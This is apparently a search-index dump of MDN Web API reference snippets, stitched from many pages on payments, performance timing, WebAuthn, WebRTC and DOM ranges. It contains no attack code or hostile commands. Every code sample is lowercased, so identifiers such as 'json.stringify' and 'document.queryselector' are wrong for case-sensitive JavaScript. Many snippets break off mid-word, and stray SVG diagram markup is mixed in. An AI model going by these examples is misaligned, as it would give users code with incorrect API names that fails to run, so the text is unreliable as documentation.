... you can also create an event handler for shippingoptionchange using its corresponding event handler property, onshippingoptionchange: paymentrequest.onshippingoptionchange = event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }; specifications specification status comment payment request apithe definition of 'shippingoptionchange' in that specification.
PaymentResponse.complete() - Web APIs
the user agent may or may not present some form of "payment successful" indication to the user.
... note: in older versions of the specification, an empty string, "", was used instead of unknown to indicate a completion without a known result state.
...portedinstruments, details, options); payment.show().then(function(paymentresponse) { var fetchoptions = { method: 'post', credentials: include, body: json.stringify(paymentresponse) }; var serverpaymentrequest = new request('secure/payment/endpoint'); fetch(serverpaymentrequest, fetchoptions).then( response => { if (response.status < 400) { paymentresponse.complete("success"); } else { paymentresponse.complete("fail"); }; }).catch( reason => { paymentresponse.complete("fail"); }); }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'paymentresponse: complete' in that specification.
performance.getEntries() - Web APIs
example function use_performanceentry_methods() { console.log("performanceentry tests ..."); if (performance.mark === undefined) { console.log("...
... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); performance.mark("begin"); do_work(100000); performance.mark("end"); do_work(200000); performance.mark("end"); // use getentries() to iterate through the each entry let p = performance.getentries(); for (var i=0; i < p.length; i++) { console.log("entry[" + i + "]"); check_performanceentry(p[i]); } // use getentriesbytype() to get all "mark" entries p = performance.getentriesbytype("mark"); for (let i=0; i < p.length; i++) { console.log ("mark only entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duratio...
...n); } // use getentriesbyname() to get all "mark" entries named "begin" p = performance.getentriesbyname("begin", "mark"); for (let i=0; i < p.length; i++) { console.log ("mark and begin entry[" + i + "]: name = " + p[i].name + "; starttime = " + p[i].starttime + "; duration = " + p[i].duration); } } specifications specification status comment performance timeline level 2the definition of 'getentries()' in that specification.
performance.mark() - Web APIs
WebAPIPerformancemark
performance.mark("squirrel"); performance.mark("squirrel"); performance.mark("monkey"); performance.mark("monkey"); performance.mark("dog"); performance.mark("dog"); // get all of the performancemark entries.
... const allentries = performance.getentriesbytype("mark"); console.log(allentries.length); // 6 // get all of the "monkey" performancemark entries.
... const monkeyentries = performance.getentriesbyname("monkey"); console.log(monkeyentries.length); // 2 // clear out all of the marks.
PerformanceEntry.entryType - Web APIs
the entrytype property returns a domstring representing the type of performance metric such as, for example, "mark".
... function run_performanceentry() { // check for feature support before continuing if (performance.mark === undefined) { console.log("performance.mark not supported"); return; } // create a performance entry named "begin" via the mark() method performance.mark("begin"); // check the entrytype of all the "begin" entries var entriesnamedbegin = performance.getentriesbyname("begin"); for (var i=0; i < entriesnamedbegin.length; i++) { var typeofentry = entriesnamedbegin[i].entrytype; console.log("entry i...
...s type: " + typeofentry); } } specifications specification status comment performance timeline level 2the definition of 'entrytype' in that specification.
PerformanceEntry.name - Web APIs
function run_performanceentry() { log("performanceentry support ..."); if (performance.mark === undefined) { log("...
... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i...
... < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'name' in that specification.
PerformanceEntry.toJSON() - Web APIs
function run_performanceentry() { log("performanceentry support ..."); if (performance.mark === undefined) { log("...
... performance.mark not supported"); return; } // create some performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i...
... < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'tojson' in that specification.
PerformanceFrameTiming - Web APIs
an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceframetiming" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceframetiming</text></a></svg></div> a:hover text { fill:...
... #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "frame" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "frame".
PerformanceMeasure - Web APIs
performancemeasure is an abstract interface for performanceentry objects with an entrytype of "measure".
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceent...
...ry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancemeasure" target="_top"><rect x="201" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="291" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancemeasure</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties by qualifying/constrainting the properties as follows: performanceentry.entrytype returns "measure".
PerformanceObserverEntryList.getEntriesByName() - Web APIs
type optional a domstring representing the type of entry to retrieve such as "mark".
... example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.
...length; i++) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]...
PerformanceObserverEntryList.getEntriesByType() - Web APIs
syntax entries = list.getentriesbytype(type); parameters type the type of entry to retrieve such as "frame".
... example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.length; i+...
...+) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } });...
PerformanceResourceTiming - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill...
...="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performanceresourcetiming" target="_top"><rect x="201" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceresourcetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} not...
... properties this interface extends the following performanceentry properties for resource performance entry types by qualifying and constraining them as follows: performanceentry.entrytyperead only returns "resource".
PhotoCapabilities - Web APIs
properties photocapabilities.redeyereduction read only returns one of "never", "always", or "controllable".
... the "controllable" value means the device's read-eye reduction is controllable by the user.
... const input = document.queryselector('input[type="range"]'); var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min...
PromiseRejectionEvent() - Web APIs
this is case-sensitive and should be one of "rejectionhandled" or "unhandledrejection", to match the event names of the possible (non-synthetic) promiserejectionevent events that user agents can actually fire).
... examples this example creates a new unhandledrejection event for the promise mypromise with the reason being the string "my house is on fire".
... let myrejectionevent = new promiserejectionevent("unhandledrejection", { promise : mypromise, reason : "my house is on fire" }); specifications specification status comment html living standardthe definition of 'the promiserejectionevent interface' in that specification.
PublicKeyCredential.getClientExtensionResults() - Web APIs
during the creation or fetching of a publickeycredential (respectively via navigator.credentials.create() and navigator.credentials.get()), it is possible to have "custom" processing by the client for different extensions which are respectively given by publickeycredentialcreationoptions.extensions and publickeycredentialrequestoptions.extensions.
... examples var publickey = { // here are the extensions (as "inputs") extensions: { "loc": true, // this extension has been defined to include location information in attestation "uvi": true // user verification index: how the user was verified }, challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@...
...example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var mybuffer = newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of the "loc" and "uvi" extensions }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'getclientextensionresults()' in that specification.
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
as of this writing (march 2019), only "public-key" may be used.
... examples var publickey = { pubkeycredparams: [ // we would like an elliptic curve to be used if possible { type: "public-key", alg: -7 }, // if not, then we will fallback on an rsa algorithm { type: "public-key", alg: -37 } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", ...
... displayname: "john doe", } }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'pubkeycredparams' in that specification.
PublicKeyCredentialCreationOptions.user - Web APIs
"john doe").
..."jdoe@example.com").this property is intended for display and may be use to distinguish different account with the same displayname.
... examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { // to be changed for each user id: new uint8array.from(window.atob("laegmlkjnrlkgnamlafalfka="), c=>c.charcodeat(0)); name: "jdoe@example.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications...
PublicKeyCredentialCreationOptions - Web APIs
examples // some examples of cose algorithms const cose_alg_ecdsa_w_sha256 = -7; const cose_alg_ecdsa_w_sha512 = -36; var createcredentialoptions = { // format of new credentials is publickey publickey: { // relying party rp: { name: "example corp", id: "login.example.com", icon: "https://login.example.com/login.ico" }, // cryptographic challenge from the server challenge: new uint8array(26), // user user: { id: new uint8array(16), name: "john.p.smith@example.com", displayname: "john p.
... smith", }, // requested format of new keypair pubkeycredparams: [{ type: "public-key", alg: cose_alg_ecdsa_w_sha256, }], // timeout after 1 minute timeout: 60000, // do not send the authenticator's origin attestation attestation: "none", extensions: { uvm: true, exts: true }, // filter out authenticators which are bound to the device authenticatorselection:{ authenticatorattachment: "cross-platform", requireresidentkey: true, userverification: "preferred" }, // exclude already existing credentials for the user excludecredentials: [ { type: "public-key", // the id fo...
...r john.doe@example.com id : new uint8array(26) /* this actually is given by the server */ }, { type: "public-key", // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ] } }; // create the new credential with the options above navigator.credentials.create(createcredentialoptions) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; var clientextensionsoutputs = newcredentialinfo.getclientextensionsresults(); // send the response to the relying party server // it will verify the content and integrity before // creating a new credential }).catch(function (err) { // deal with any error properly console.error...
PublicKeyCredentialRequestOptions.userVerification - Web APIs
the values may be: "required": user verification is required, the operation will fail if the response does not have the uv flag (as part of authenticatorassertionresponse.authenticatordata) "preferred": user verification is prefered, the operation will not fail if the response does not have the uv flag (as part of authenticatorassertionresponse.authenticatordata) "discouraged": user verification should not be emplo...
... the default value is "preferred".
... examples var options = { userverification: "preferred", challenge: new uint8array([/* bytes sent from the server */]), }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'userverification' in that specification.
PublicKeyCredentialRequestOptions - Web APIs
"login.example.org").
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com", /* will only work if the current domain is something like foo.example.com */ userverification: "preferred", timeout: 60000, // wait for a minute allowcredentials: [ { transports: "usb", type: "public-key", id: new uint8array(26) // actually provided by the server }, { transports: "internal", type: "public-ke...
...y", id: new uint8array(26) // actually provided by the server } ], extensions: { uvm: true, // rp wants to know how the user was verified loc: false, txauthsimple: "could you please verify yourself?" } }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredentialrequestoptions dictionary' in that specification.
Web Push API Notifications best practices - Web APIs
searching the web for "web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest news, or receive links to recommended products.
...sometimes news sites request push notifications so they can essentially say "look at me!
... look at me!" it all comes down to what the user wants, and you can use behavior to determine intent.
RTCDTMFSender - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtcdtmfsender" target="_top"><rect x="151" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtmfsender</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties rtcdtmfsender.tonebuff...
...you can abort sending queued tones by specifying an empty string ("") as the set of tones to play.
RTCDTMFToneChangeEvent.tone - Web APIs
the read-only property rtcdtmftonechangeevent.tone returns the dtmf character which has just begun to play, or an empty string ("").
... syntax var tone = dtmftonechangeevent.tone; example this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
... dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent.tone' in that specification.
RTCDataChannel.bufferedAmount - Web APIs
example the snippet below includes a function which changes the contents of a block with the id "buffersize" to a string indicating the number of bytes currently buffered on an rtcdatachannel.
... var dc = peerconnection.createdatachannel("file transfer"); /* ...
... */ function showbufferedamount(channel) { let el = document.getelementbyid("buffersize"); el.innerhtml = channel.bufferedamount + " bytes"; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.bufferedamount' in that specification.
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
the rtcdatachannel property bufferedamountlowthreshold is used to specify the number of bytes of buffered outgoing data that is considered "low." the default value is 0.
... syntax var threshold = adatachannel.bufferedamountlowthreshold; adatachannel.bufferedamountlowthreshold = threshold; value the number of queued outgoing data bytes below which the buffer is considered to be "low." example in this snippet of code, bufferedamountlowthreshold is set to 64kb, and a handler for the bufferedamountlow event is established by setting the rtcdatachannel.onbufferedamountlow property to a function which should send more data into the buffer by calling send().
... var dc = peerconnection.createdatachannel("file transfer"); dc.bufferedamountlowthreshold = 65535; dc.onbufferedamountlow = function() { /* use send() to queue more data to be sent */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.bufferedamountlowthreshold' in that specification.
RTCDataChannel.close() - Web APIs
the sequence of events which occurs in response to this method being called: rtcdatachannel.readystate is set to "closing".
... the rtcdatachannel.readystate property is set to "closed".
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); dc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function ( console.log("datachannel close"); }; // now negotiate the connection and so forth...
RTCDataChannel: error event - Web APIs
examples // strings for each of the sctp cause codes found in rfc // 4960, section 3.3.10: // https://tools.ietf.org/html/rfc4960#section-3.3.10 const sctpcausecodes = [ "no sctp error", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart of an associat...
...ion with new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": console.error(" identity provider load failure: http error ", err.httprequeststatuscode); break; case "sctp-failure": if (err.sctpcausecode < sctpcausecodes.length) { console.error(" sctp failure: ", err.sctpcausecode); } else { console.error(" unknown sctp error"); } break; case "dtls-failure": if (err...
....receivedalert) { console.error(" received dlts failure alert: ", err.receivedalert); } if (err.sentalert) { console.error(" sent dlts failure alert: ", err.receivedalert); } break; } // add source file name and line information console.error(" error in file ", err.filename, " at line ", err.linenumber, ", column ", err.columnnumber); }, false); the received event provides details in an rtcerror object called error; rtcerror is an extension of the domexception interface.
RTCDataChannel.protocol - Web APIs
if no protocol was specified when the data channel was created, then this property's value is "" (the empty string).
...if none has been established, this is an empty string ("").
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel", { protocol: "json" }); function handlechannelmessage(datachannel, msg) { switch(datachannel.protocol) { case "json": /* process json data */ break; case "raw": /* process raw binary data */ break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.protocol' in that specification.
RTCIceComponent - Web APIs
the webrtc api's rtcicecomponent enumerated type contains domstring values that each identify a specific ice component; these are "rtp" and "rtcp".
... values "rtp" identifies an ice transport which is being used for the real-time transport protocol (rtp), or for rtp multiplexed with the rtp control protocol (rtcp).
... "rtcp" identifies an ice transport being used for rtcp, which is defined in rfc 3550, section 6.
RTCIceGathererState - Web APIs
values "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
... "gathering" the transport is in the process of gathering candidates.
... "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device.
RTCIceTcpCandidateType - Web APIs
values "active" the transport will try to open an outbound connection but won't receive inoming connection requests.
... "passive" the transport will receive incoming connection requests but won't try to open an outbound connection.
... "so" the transport will try to open a connection simultaneously with its peer.
RTCOfferOptions.iceRestart - Web APIs
fundamentally, this renegotiation is triggered by generating and using new values for the ice username fragment ("ufrag")}} example this example shows a handler for the iceconnectionstatechange event.
... it watches for the ice connection state to transition to "failed", which indicates that an ice restart should be tried in order to attempt to bring the connection back up.
... pc.oniceconnectionstatechange = function(evt) { if (pc.iceconnectionstate === "failed") { if (pc.restartice) { pc.restartice(); } else { pc.createoffer({ icerestart: true }) .then(pc.setlocaldescription) .then(sendoffertoserver); } } } if the state changes to failed, this handler starts by looking to see if the rtcpeerconnection includes the restartice() method; if it does, we call that to request an ice restart.
RTCPeerConnection() - Web APIs
if this value isn't included in the dictionary, "balanced" is assumed.
...if this isn't specified, "all" is assumed.
...the default is "require".
RTCPeerConnection.addTrack() - Web APIs
if the transceiver's currentdirection has ever been "sendrecv" or "sendonly", the sender can't be reused.
... the associated rtcrtptransceiver has its currentdirection updated to include sending; if its current value is "recvonly", it becomes "sendrecv", and if its current value is "inactive", it becomes "sendonly".
... the new transceiver's direction is set to "sendrecv".
RTCPeerConnection.getStats() - Web APIs
window.setinterval(function() { mypeerconnection.getstats(null).then(stats => { let statsoutput = ""; stats.foreach(report => { statsoutput += `<h2>report: ${report.type}</h3>\n<strong>id:</strong> ${report.id}<br>\n` + `<strong>timestamp:</strong> ${report.timestamp}<br>\n`; // now the statistics for this report; we intentially drop the ones we // sorted to the top above object.keys(report).foreach(statname => { if (statname !== "id" ...
...&& statname !== "timestamp" && statname !== "type") { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; } }); }); document.queryselector(".stats-box").innerhtml = statsoutput; }); }, 1000); this works by calling getstats(), then, when the promise is resolved, iterates over the rtcstats objects on the returned rtcstatsreport.
... once the html for the report is generated, it is injected into the element whose class is "stats-box" by setting its innerhtml property.
RTCPeerConnection: icecandidate event - Web APIs
that this has occurred is indicated by an icecandidate event whose candidate string is empty ("").
... if you need to perform any special actions when there are no further candidates expected, you're much better off watching the ice gathering state by watching for icegatheringstatechange events: pc.addeventlistener("icegatheringstatechange", ev => { switch(pc.icegatheringstate) { case "new": /* gathering is either just starting or has been reset */ break; case "gathering": /* gathering has begun or is ongoing */ break; case "complete": /* gathering has ended */ break; } }); as you can see in this example, the icegatheringstatechange event lets you know whe...
... first, an example using addeventlistener(): pc.addeventlistener("icecandidate", ev => { if (ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate }); } }, false); you can also set the onicecandidate event handler property directly: pc.onicecandidate = ev => { if (ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate }); } }; specifications ...
RTCPeerConnection.onsignalingstatechange - Web APIs
you may also, as always, set up a handler for the signalingstatechange event using addeventlistener(): myrtcpeerconnection.addeventlistener("signalingstatechange", mysignalingstatechangehandler); or, using an anonymous (inline) handler: myrtcpeerconnection.addeventlistener("signalingstatechange", event => { /* handle the event here */ }); example this snippet shows a handler for signalingstatechange that looks for the "have-local-pranswer" signaling state—indicating that a remote offer has been received and a local description...
... of type "pranswer" has been applied in response.
... pc.onsignalingstatechange = function(event) { if (pc.signalingstate === "have-local-pranswer") { // setlocaldescription() has been called with an answer } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onsignalingstatechange' in that specification.
RTCPeerConnection.removeStream() - Web APIs
if the signalingstate is set to "closed", an invalidstateerror is raised.
... if the signalingstate is set to "stable", the event negotiationneeded is sent on the rtcpeerconnection.
... example var pc, videostream; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); videostream = stream; pc.addstream(stream); } document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removestream(videostream); pc.close(); }, false); ...
RTCPeerConnection.setIdentityProvider() - Web APIs
if the signalingstate is set to "closed", an invalidstateerror is raised.
...it defaults to "default" and is used to determine the url where the idp is listening.
... example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.setidentityprovider()' in that specification.
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
async function networkteststop(pc) { if (pc) { let statsbox = document.queryselector(".stats-box"); let endreport = await pc.getstats(); for (let endremoteoutbound of endreport.values()) { if (endremoteoutbound.type === "remote-outbound-rtp") { let startremoteoutbound = startreport.get(endremoteoutbound.id); if (startremoteoutbound) { let startinboundstats = findreportentry(startreport, "remoteid", startremoteoutbound.id); let end...
...inboundstats = findreportentry(endreport, "remoteid", endremoteoutbound.id); let elapsedtime = (endremoteoutbound.timestamp - startremoteoutbound.timestamp) / 1000; /* in seconds */ let packetssent = endremoteoutbound.packetssent - startremoteoutbound.packetssent; let bytessent = endremoteoutbound.bytessent - startremoteoutbound.bytessent; let framesdecoded = endinboundstats.framesdecoded - startinboundstats.framesdecoded; let framerate = framesdecoded / elapsedtime; let timestring = ""; if (!isnan(elapsedtime)) { timestring = ` representing ${elapsedtime}s`; } let framestring = ""; if (!isnan(framesdecoded)) { framestring = `decoded ${framesdecoded} frames for a...
... frame rate of ${framerate.tofixed(2)} fps.<br>`; } let logentry = `<div class="stats-entry"><h2>report id: ${endremoteoutbound.id}</h2>` + `remote peer sent ${packetssent} packets ${timestring}.<br>` + `${framestring}` + `data size: ${bytessent} bytes.</div>`; statsbox.innerhtml += logentry; } else { statsbox.innerhtml += `<div class="stats-error">unable to find initial statistics for id ${endremoteoutbound.id}.</div>` } } statsbox.scrollto(0, statsbox.scrollheight); } } } here's what's going on in the networkteststop() function: after calling the rtcpeerconnection method getstats() to get the latest statistics report for the connection and...
RTCRtpStreamStats - Web APIs
kind a domstring whose value is "audio" if the associated mediastreamtrack is audio-only or "video" if the track contains video.
...a fir packet is sent by the receiving end of the stream when it falls behind or has lost packets and is unable to continue decoding the stream; the sending end of the stream receives the fir packet and responds by sending a full frame instead of a delta frame, thereby letting the receiver "catch up." the higher this number is, the more often a problem of this nature arose, which can be a sign of network congestion or an overburdened receiving device.
... nackcount the number of times the receiver notified the sender that one or more rtp packets has been lost by sending a negative acknowledgement (nack, also called "generic nack") packet to the sender.
Range.extractContents() - Web APIs
syntax documentfragment = range.extractcontents(); example basic example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.extractcontents(); document.body.appendchild(documentfragment); moving items between containers this example lets you move items between two containers.
... select one or more item, and then click "swap" to move them to the opposite container.
... html <p id="list1">123456</p> <button id="swap">swap selected item(s)</button> <p id="list2">abcdef</p> css body { pointer-events: none; } p { border: 1px solid; font-size: 2em; padding: .3em; } button { font-size: 1.2em; padding: .5em; pointer-events: auto; } javascript const list1 = document.getelementbyid('list1'); const list2 = document.getelementbyid('list2'); const button = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); if (range.commonancestorcontainer === list1 || range.commonancestorcontainer.parentnode === list1) { const documentfragment = range.extractcontents(); list2.appendc...
Range.setStart() - Web APIs
WebAPIRangesetStart
html <p id="address">wyatt earp<br> 101 e.
